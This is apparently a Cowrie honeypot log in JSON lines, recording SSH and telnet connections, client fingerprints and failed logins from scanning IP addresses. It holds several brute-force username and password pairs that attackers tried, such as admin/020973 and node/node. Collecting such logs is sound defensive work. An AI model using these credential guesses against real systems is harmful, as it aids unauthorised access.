{"eventid":"cowrie.session.closed","duration":2.0764381885528564,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:04:15.878471Z","src_ip":"64.62.156.222","session":"9e98f7bcdf9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.214","src_port":35178,"dst_ip":"159.203.135.109","dst_port":23,"session":"610c174ffcd6","protocol":"telnet","message":"New connection: 176.65.148.214:35178 (159.203.135.109:23) [session: 610c174ffcd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:04:38.167455Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.42.41.225","src_port":38514,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad7bdff14dfc","protocol":"telnet","message":"New connection: 5.42.41.225:38514 (10.17.0.5:23) [session: ad7bdff14dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:04:40.160904Z"}
{"eventid":"cowrie.session.closed","duration":14.780345678329468,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:04:54.941161Z","src_ip":"5.42.41.225","session":"ad7bdff14dfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.343215942382812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:05:08.510551Z","src_ip":"176.65.148.214","session":"610c174ffcd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44286,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d825d4346f","protocol":"ssh","message":"New connection: 2.57.122.208:44286 (10.17.0.5:22) [session: 60d825d4346f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:05:18.591837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:05:18.686348Z","src_ip":"2.57.122.208","session":"60d825d4346f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:05:18.849716Z","src_ip":"2.57.122.208","session":"60d825d4346f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:05:19.477406Z","src_ip":"2.57.122.208","session":"60d825d4346f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:05:20.581182Z","src_ip":"2.57.122.208","session":"60d825d4346f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":53304,"dst_ip":"159.203.135.109","dst_port":22,"session":"53a960549560","protocol":"ssh","message":"New connection: 139.19.117.129:53304 (159.203.135.109:22) [session: 53a960549560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:39.994892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:40.002993Z","src_ip":"139.19.117.129","session":"53a960549560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:40.096040Z","src_ip":"139.19.117.129","session":"53a960549560","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:40.283857Z","src_ip":"139.19.117.129","session":"53a960549560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:40.287449Z","src_ip":"139.19.117.129","session":"53a960549560","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:40.382696Z","src_ip":"139.19.117.129","session":"53a960549560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:b8:6d:4a:26:21:7e:9e:98:21:39:01:a6:5b:58:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjh43iWyYUMiBhhffdk7NnJYGIOLdUVVBgXg9tOY6CBGUhMVQEv9QFzeMeZUeWZ3uF9EqVbCCeU1HI8DKQ8Sxy9v9eWGohiCeH1VwoeuphkLk9y3pQZ0ipNlyN18MlIEP7tuxJI6TSESB5TiTOZ652fB6JSG9SDZVKy9FF6HrndBfG2SPaC8Eu0c4erbuBNPv+sWFttoJeHro9hYTGvd4ZrjUUAFiDQTtlnyd0SnKv56wSWqmI/bYZ0heAjhpU6YjSdag0nzWbS+Uz0Z5kYwWJUZ+1Je4xjj8SqoRkLKhFCV8KixsYrOBbqQBSy4EUFSehalxQZZJIY0y3v0aiEYsh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:40.386924Z","src_ip":"139.19.117.129","session":"53a960549560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:06:49.994982Z","src_ip":"139.19.117.129","session":"53a960549560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40346,"dst_ip":"10.17.0.5","dst_port":22,"session":"a85b9ff25168","protocol":"ssh","message":"New connection: 2.57.122.208:40346 (10.17.0.5:22) [session: a85b9ff25168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:07:42.651534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:07:42.712235Z","src_ip":"2.57.122.208","session":"a85b9ff25168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:07:42.807756Z","src_ip":"2.57.122.208","session":"a85b9ff25168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:07:43.341102Z","src_ip":"2.57.122.208","session":"a85b9ff25168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:07:44.439643Z","src_ip":"2.57.122.208","session":"a85b9ff25168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40624,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9851aa717c","protocol":"ssh","message":"New connection: 195.178.110.218:40624 (10.17.0.5:22) [session: cf9851aa717c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:08:20.637239Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:08:20.718796Z","src_ip":"195.178.110.218","session":"cf9851aa717c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37062,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6f4b1274e59","protocol":"ssh","message":"New connection: 195.178.110.218:37062 (159.203.135.109:22) [session: a6f4b1274e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:01.468038Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:01.553293Z","src_ip":"195.178.110.218","session":"a6f4b1274e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34247,"dst_ip":"10.17.0.5","dst_port":22,"session":"39bd9dfd921b","protocol":"ssh","message":"New connection: 2.57.121.112:34247 (10.17.0.5:22) [session: 39bd9dfd921b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:45.679541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:45.683753Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:45.789341Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020973","message":"login attempt [admin/020973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:46.286119Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020877","message":"login attempt [admin/020877] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:47.397573Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020788","message":"login attempt [admin/020788] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:48.505699Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"020787","message":"login attempt [admin/020787] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:49.613890Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02071997","message":"login attempt [admin/02071997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:50.722419Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:51.830737Z","src_ip":"2.57.121.112","session":"39bd9dfd921b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48270,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4011d8050d3","protocol":"ssh","message":"New connection: 2.57.122.208:48270 (10.17.0.5:22) [session: a4011d8050d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:56.446245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:56.450579Z","src_ip":"2.57.122.208","session":"a4011d8050d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:56.554330Z","src_ip":"2.57.122.208","session":"a4011d8050d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:57.038556Z","src_ip":"2.57.122.208","session":"a4011d8050d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.239.240.198","src_port":46364,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ac3a97f1ad9","protocol":"ssh","message":"New connection: 172.239.240.198:46364 (159.203.135.109:22) [session: 9ac3a97f1ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.020509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.024773Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.105580Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
